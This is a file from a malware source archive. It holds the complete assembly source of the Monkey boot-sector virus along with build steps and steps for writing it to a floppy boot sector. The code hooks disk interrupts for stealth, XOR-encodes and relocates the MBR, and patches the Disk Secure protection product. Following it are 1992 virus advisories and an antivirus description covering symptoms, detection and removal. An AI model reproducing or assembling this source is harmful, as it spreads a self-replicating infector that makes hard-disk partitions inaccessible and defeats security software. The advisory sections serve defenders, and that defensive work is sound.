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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.monkey.asm
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page 70,80
Name Monkey
;*******************************************************
;
; Monkey written at the city of champions
; - Edmonton - by UACVRS - Jan 1992.
;
; Monkey is a full stealth MBR/Boot self-replicating program with
; no payload but it does not save the HD's partition
; table in place. When the "infected" computer is booted
; from a floppy, c: drive will no longer be accessible.
;
; To compile: masm monkey (we used MASM 5.0)
; link monkey
; exe2bin monkey.exe monkey.co
; Use NU, or debug to copy monkey.co to the boot
; sector of a floppy. The diskette will not boot
; but will install itself on the hard drive.
;
; Bug: It will trash any floppies higher than
; 1.44meg, not deliberately.
;
;*******************************************************
Code Segment
Assume CS:Code,DS:CODE,ES:CODE
ORG 00H
MAIN:
JMP INITIAL
; space above 1fh is for floppy format data
ORG 1FH
INT_13 EQU THIS BYTE
PUSH DS
PUSH SI
PUSH DI
PUSH AX
PUSH CX
PUSH DX
CALL SET_HEAD
CMP AH,02H
JNZ END_ACTION
PUSH DX
SUB AX,AX
INT 1AH
TIME EQU $ + 2
CMP DL,40H
POP DX
JNB END_ACTION
CALL HANDLE_DISK
END_ACTION:
POP DX
POP CX
POP AX
POP DI
PUSH DX
PUSH CX
PUSH AX
CMP CX,03H ; YES, IS SECTOR LESS THAN 3?
JNB EXIT_2 ; NO, EXIT
CMP DH,BYTE PTR DS:[SI] ; Right head?
JNZ EXIT_2 ; NO, EXIT
CMP AH,02H ; READ ?
JZ STEALTH ; YES, STEALTH
CMP AH,03H ; WRITE ?
JNZ EXIT_2 ; NO, EXIT
; YES!
CMP DL,80H ; HARD DRIVE?
JB EXIT_2 ; NO, EXIT
SUB AH,AH ; else RESET DISK - make HD light blink
JMP SHORT EXIT_2 ; EXIT
STEALTH:
CALL INT13 ; READ
JB EXIT_3 ; ERROR?
CALL COMP_SIG ; MY RELATIVE?
JZ REDIRECT ; YES, REDIRECT
CALL COMP_PA ; NO, IS IT PA?
JZ REDIRECT ; YES, REDIRECT
EXIT_0:
CLC ; NO, RESET FLAG
JMP SHORT EXIT_3 ; EXIT
REDIRECT:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD
POP AX ; RESTORE AX
CALL INT13 ; RE-READ
CALL ENCRPT_PBR
POP CX ; RESTORE CX, DX
POP DX
JMP SHORT EXIT_4 ; EXIT
EXIT_2:
CALL INT13
EXIT_3:
POP DS
POP DS
POP DS
EXIT_4:
POP SI
POP DS
RETF 0002H
READ_SEC_1:
MOV AX,0201H ; READ
INT13 PROC NEAR
PUSHF
CALL DWORD PTR CS:INT13_ADDR ;***********
RET
INT13 ENDP
HOOK_ENTRY EQU THIS BYTE
HOOK:
INT 12H
MOV SI,004CH
PUSH SI
CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2?
JZ SETUP_SPECIAL
SETUP_NORMAL:
CALL SHIFT_NORMAL
MOV DI,OFFSET INT13_ADDR
MOV CX,0002H
CLD
REPZ MOVSW
JMP SHORT STORE_SEGMENT
SETUP_SPECIAL:
CALL SHIFT_SPECIAL
STORE_SEGMENT:
POP SI
MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT
MOV DS:[SI+2],AX ; STORE MY SEGMENT
PATCH_OVER:
PUSH CS
POP DS
CALL PATCH ; PATCH OVER
PUSH ES ; PUSH SEGMENT
MOV AX,OFFSET JMP_ADDR
PUSH AX ; PUSH ADDRESS
STI
RETF ; FAR JMP
JMP_ADDR EQU THIS BYTE
BOOT:
MOV ES,CX
MOV BX,SP ; TO 0000:7C00
PUSH CX ; SAVE JMP SEGMENT
PUSH BX
MOV DX,0080H ; HANDLE C:
CALL SET_HEAD
CALL HANDLE_DISK
BOOT_SEC EQU $ + 1
MOV CL,05H ; FROM SECTOR 3 ????
BOOT_DISK EQU $ + 1
MOV DX,0100H ; C:, HEAD 0 ????
CALL READ_SEC_1 ; INT 13
CALL ENCRPT_PBR
RETF
HANDLE_DISK PROC NEAR
; *** READ SECTOR 1 ***
SUB CX,CX
INC CX
PUSH CX
MOV DH,[SI] ; HEAD
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
; *** COMPARE ***
CALL COMP_SIG
JZ E_2 ; SAME -> UPDATE MYSELF
; *** PA? ***
CALL COMP_PA ; Is it Pagett's disksec?
JNZ UPDATE_DISK ; NO
; *** OK? ***
INC CX
CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
; to 0 means disksec would not do
; checksum of partitions - Pagett
; sucks
JZ E_2 ; SAME -> UPDATE MYSELF
MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero
MOV CL,1H ; write the change back to sector 1
CALL WRITE_SEC_1 ;
JB END_HANDLE_DISK
; *** YES! READ SECTOR 2 ***
INC CX ; yes,Pagette 's disksecure is on sector 1
MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
POP AX
PUSH CX
UPDATE_DISK:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
CALL ENCRPT_PBR
INC SI
CALL WRITE_SEC_1
DEC SI
JB END_HANDLE_DISK
CALL ENCRPT_PBR
PUSH CX
CALL PATCH
POP CX
PUSH DX
CMP DL,80H
JNB E_1
XOR DL,DL
E_1:
MOV WORD PTR ES:[BX+BOOT_DISK],DX
POP DX
MOV BYTE PTR ES:[BX+BOOT_SEC],CL
POP CX
PUSH CX
MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
E_2:
CALL WRITE_SEC_1
END_HANDLE_DISK:
POP AX
RET
HANDLE_DISK ENDP
WRITE_SEC_1 PROC NEAR
MOV DH,[SI]
WRITE_SEC_2:
MOV AX,0301H
CALL INT13
RET
WRITE_SEC_1 ENDP
COMP_SIG PROC NEAR
CMP ES:[BX+OFFSET PROG_SIG],9219H
RET
COMP_SIG ENDP
COMP_PA PROC NEAR
CMP WORD PTR ES:[BX+119H],6150H ; PA?
RET
COMP_PA ENDP
HOME_SEC DB 01H
FLOPPY_HEAD DB 00H,01H,01H
HARD_HEAD DB 00H,00H,00H
; 360 720 1.2 1.44
FLOP_SECT_TABLE DB 02H,05H,09H,0BH
SAVE_SECT_TABLE DB 03H,05H,0EH,0EH
CHSEC PROC NEAR
PUSH DI
PUSH SI
MOV AL,ES:[BX+14H]
MOV CX,0004H
CHSEC_1:
MOV SI,CX
DEC SI
CMP FLOP_SECT_TABLE[SI],AL
JZ CHSEC_END_1
LOOP CHSEC_1
MOV CL,03H
JMP SHORT CHSEC_END_2
CHSEC_END_1:
MOV CL,SAVE_SECT_TABLE[SI]
CHSEC_END_2:
POP SI
POP DI
RET
CHSEC ENDP
SHIFT_NORMAL PROC NEAR
; FIND THE SEGMENT TO HIDE
DEC AX
MOV DS:[413H],AX
SHIFT_SPECIAL:
MOV CL,06H
SHL AX,CL
ADD AL,20H
MOV ES,AX
RET
SHIFT_NORMAL ENDP
PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
PUSH SI
MOV DI,BX
MOV SI,OFFSET INT_13
ADD DI,SI
; CLD
MOV CX,OFFSET PROG_END - OFFSET INT_13
REPZ MOVSB
PATCH_JMP:
MOV DI,BX
SUB SI,SI
MOV CL,3H
REPZ MOVSB
POP SI
RET
PATCH ENDP
SET_HEAD PROC NEAR
PUSH CS
POP DS
MOV SI,OFFSET FLOPPY_HEAD
CMP DL,80H
JB SET_HEAD_EXIT
MOV SI,OFFSET HARD_HEAD
SET_HEAD_EXIT:
RET
SET_HEAD ENDP
INITIAL:
CLI
SUB BX,BX
MOV DS,BX
MOV SS,BX
MOV SP,7C00H
JMP HOOK
NOP
NOP
ENCRPT_PBR:
PUSH DI
PUSH CX
PUSH AX
MOV DI,BX
MOV CX,200H
CLD
ENCRPT_1:
MOV AL,ES:[DI]
ENCRPT_CODE EQU $ + 0001H
XOR AL,2EH
STOSB
LOOP ENCRPT_1
POP AX
POP CX
POP DI
RET
ORG 01F4H
;PROG_NAME DB "Monkey"
PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h
ORG 01FAH
PROG_SIG DB 19H,92H
PROG_END EQU THIS BYTE
ORG 01FCH
INT13_ADDR DB 00H,00H
ORG 01FEH
BOOT_SIG DB 55H,0AAH
PROG_TAIL EQU THIS BYTE
PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13
CODE ENDS
END MAIN
; from U of A
NEW COMPUTER VIRUS THREAT Posted: July 9, 1992
MONKEY VIRUSES ON PCs
The Monkey viruses are main boot record/boot sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified. Of particular concern is the fact these
viruses can infect computers protected by the Disk Secure program,
while causing no noticeable changes. Symptoms of infection for
those computers without Disk Secure include memory reduction and
hard drive partitions which are not accessible when booting up
with a floppy disk. When the viruses are active on computers
without Disk Secure, total memory will be reduced by 1,024 bytes.
Monkey viruses destroy partition table data. If an infected system
is booted up from a clean boot disk, DOS claims to be unable to
access the hard drive partitions. A DIR C: command will return the
message, "Invalid drive specification."
Detection
The simplest method of detection involves recognizing a 1K
decrease in memory. The DOS commands CHKDSK and MEM will return 1K
less "total conventional memory" than is normal.
Of the popular virus scanning products, only F-PROT version 2.04A
finds the Monkey viruses, calling them a "New variant of Stoned."
It will identify the virus in memory as well. The F-PROT Virstop
driver does not recognize the Monkey viruses on boot-up.
Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC
program that will notice the presence of the Monkey viruses. Note
that Disk Secure itself will not detect the infection: it is
important that the CHKSEC command be called from the autoexec.bat
file.
As well, a special program to find and remove the Monkey viruses,
called KILLMONK, has been written at the University of Alberta.
Removal
To clean a hard disk: If you have previously saved a copy of the
clean main boot record (MBR), then this can be restored. (Many
anti-virus products have an automated way of doing this.) If you
don't have a copy of the original MBR, and don't know what values
your partition table should have, then the KILLMONK program will
restore the partition table for you.
To restore diskettes: Use the KILLMONK program.
The newest version of F-PROT (version 2.04A) and the KILLMONK
program, are both available, free of charge, from Computing and
Network Services. Bring a formatted diskette to the Microcomputer
Demonstration Centre (MDC), in the basement of the Bookstore, or a
ready-made diskette can be purchased for $2.00 from the CNS User
Support Centre at 302 General Services Building. These programs
can also be downloaded from the MTS account VIR.
;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)
Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)
Date: 20 Jul 92 09:10:09 GMT
Virus Name: MONKEY.1, MONKEY.2 (Empire variants)
V Status: New
Discovery: February, 1992
Symptoms: Memory reduction, hard drive partitions not accessible on
floppy bootup.
Origin: Alberta, Canada
Eff. Length: 512 bytes
Type Code: BPRtS (Boot and Partition table infector - Resident TOM -
Stealth)
Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK
Removal: Cold boot from clean, write-protected floppy, replace MBR
(hard
disk) or Boot Sector (floppy).
General Comments:
The Monkey viruses are Main Boot Record / Boot Sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified: their most obvious difference is in the initial
bytes at offset 0:
Monkey.1: E9 CD 01 (JMP 02D0)
Monkey.2: EB 1E 90 (JMP 0020 ; NOP)
Both variants keep the original sector's data at offset 03h - 1fh. In
boot sectors, this region contains data required to identify the
diskette format. This solves the problem noticed with earlier
variants of Empire, whereby infected 720k diskettes were sometimes
unreadable.
The Monkey viruses take 1k from the top of memory. When active, total
memory will be reduced by 1024 bytes.
The Monkey viruses use stealth to protect both the MBR and diskette
boot sectors. When active in memory, Int 13h calls cannot access the
infected sector of either hard disks or floppies.
The Monkey viruses are not polimorphic. They do not encode any of the
virus, as was done by some of the earlier Empire variants. But before
saving the clean MBR or boot sector to a hiding place, the Monkey
viruses do encode that sector, using an "XOR 2Eh". This creates a
problem for any disinfecting program that recover the initial boot
sector or MBR by copying it from the hiding place.
When a hard disk is infected, the encoded MBR is put at side 0,
cylinder 0, sector 3.
When a floppy diskette is infected, the original boot sector is placed
in the bottom sector of the root directory. This means directory
entries will be lost only if the root directory is nearly full -- more
than 96 entries on double density diskettes, or more than 208 entries
on high density diskettes. The virus is designed to identify only the
four most common diskette formats. If the diskette is not of a
recognized format, the boot sector is put on side 1, sector 3. I have
no idea what would happen to a 2.88Mb diskette, but I suspect the
virus would damage the File Allocation Table, causing loss of data.
The Monkey viruses do not put any messages to the screen at any time,
but the virus code does contain, encrypted, the string "Monkey",
followed by bytes 1992h. It may be significant that the chinese Year
of the Monkey began in February 1992.
The most remarkable characteristic of the Monkey viruses is that they
were designed as an attack on Padgett Peterson's "Disk Secure"
product. When a computer is booted from an infected diskette, the
virus first checks whether Disk Secure is on the hard disk. If it is,
the virus puts itself in sector 2, rather than sector 1, and slightly
modifies Disk Secure, so that Disk Secure will load the virus after
Disk Secure has checked the system and loaded itself. The monkey
viruses install themselves and above Disk Secure, in memory, at offset
200h.
The Monkey viruses do not save the partition table data in place, so
if an infected system is booted from a clean boot disk, DOS claims to
be unable to access the hard drive partitions. A DIR C: command will
return "Invalid drive specification".
Detection:
Of the popular virus scanning products, only F-PROT 2.04 finds the
Monkey viruses, calling them a "New variant of stoned". It will
identify the virus in memory as well. The F-PROT Virstop driver does
not recognise the Monkey viruses, on boot-up.
Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will
notice the presence of the Monkey viruses. Notice that Disk Secure
itself will not detect the infection: it is important that the CHKSEC
command be called from the autoexec.bat file.
The simplest detection still involves recognizing a 1k decrease in
memory. CHKDSK and MEM will return 1k less "total conventional
memory" than normal.
A special program to find and remove the Monkey viruses, called
KILLMONK, has been written at the University of Alberta. I hope to
make this available to the anti-virus community shortly.
Removal:
The undocumented /MBR option of FDISK does remove the Monkey virus
from the MBR, provided the computer was booted from a clean floppy,
but it does not restore the correct partition table values. The
problem is that the partition table is not in place in sector one: the
table is encoded, in sector 3.
To clean a hard disk: If you have previously saved a copy of the clean
MBR, then this can be restored. (Many anti-virus products have an
automated way of doing this.) If you don't have a copy of the
original MBR, and don't know what values your partition table should
have, then the KILLMONK program may be what you need.
To restore diskettes: Padgett Peterson's FIXFBR works very well,
though it doesn't recognize that the disk is infected. Another
alternative is the KILLMONK program.
Scan String:
The following hexidecimal string is in both variants of Monkey. It is
from the code the virus uses to recognize itself.
26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61
Tim
; From F-PROT
Name: Monkey
Type: Boot MBR Stealth
The Monkey virus was first discovered in Edmonton, Canada, in the
year 1991. The virus spread quickly to USA, Australia and UK.
Monkey is one of the most common boot sector viruses.
As the name indicates, Monkey is a distant relative of Stoned.
Its technical properties make it quite a remarkable virus,
however. The virus infects the Master Boot Records of hard disks
and the DOS boot records of diskettes, just like Stoned. Monkey
spreads only through diskettes.
Monkey does not let the original partition table remain in its
proper place in the Master Boot Record, as Stoned does. Instead
it moves the whole Master Boot Record to the hard disk's third
sector, and replaces it with its own code. The hard disk is
inaccesible after a diskette boot, since the operating system
cannot find valid partition data in the Master Boot Record -
attempts to use the hard disk result in the DOS error message
"Invalid drive specification".
When the computer is booted from the hard disk, the virus is
executed first, and the hard disk can thereafter be used
normally. The virus is not, therefore, easily noticeable, unless
the computer is booted from a diskette.
The fact that Monkey encrypts the Master Boot Record besides
relocating it on the disk makes the virus still more difficult to
remove. The changes to the Master Boot Record cannot be detected
while the virus is active, since it rerouts the BIOS-level disk
calls through its own code. Upon inspection, the hard disk seems
to be in its original shape.
The relocation and encryption of the partition table render two
often-used disinfection procedures unviable. One of these is the
MS-DOS command FDISK /MBR, capable of removing most viruses that
infect Master Boot Records. The other is using a disk editor to
restore the Master Boot Record back on the zero track. Although
both of these procedures destroy the actual virus code, the
computer cannot be booted from the hard disk afterwards.
There are five different ways to remove the Monkey
virus:
o The original Master Boot Record and partition table can
be restored from a backup taken before the infection.
Such a backup can be made by using, for example, the
MIRROR /PARTN command of MS-DOS 5.
o The hard disk can be repartitioned by using the FDISK
program, after which the logical disks must be formatted.
All data on the hard disk will consequently be lost,
however.
o The virus code can be overwritten by using FDISK/MBR, and
the partition table restored manually. In this case, the
partition values of the hard disk must be calculated and
inserted in the partition table with the help of a disk
editor. The method requires expert knowledge of the disk
structure, and its success is doubtful.
o It is possible to exploit Monkey's stealth capabilities
by taking a copy of the zero track while the virus is
active. Since the virus hides the changes it has made,
this copy will actually contain the original Master Boot
Record. This method is not recommendable, because the
diskettes used in the copying may well get infected.
o The original zero track can be located, decrypted and
moved back to its proper place. As a result, the hard
disk is restored to its exact original state. F-PROT uses
this method to disinfect the Monkey virus.
It is difficult to spot the virus, since it does not activate in
any way. A one-kilobyte reduction in DOS memory is the only
obvious sign of its presence. The memory can be checked with, for
instance, DOS's CHKDSK and MEM programs. However, even if MEM
reports that the computer has 639 kilobytes of basic memory
instead of the more common 640 kilobytes, it does not necessarily
mean that the computer is infected. In many computers, the BIOS
allocates one kilobyte of basic memory for its own use.
The Monkey virus is quite compatible with different diskette
types. It carries a table containing data for the most common
diskettes. Using this table, the virus is able to move a
diskette's original boot record and a part of its own code to a
safe area on the diskette. Monkey does not recognize 2.88
megabyte ED diskettes, however, and partly overwrites their File
Allocation Tables.
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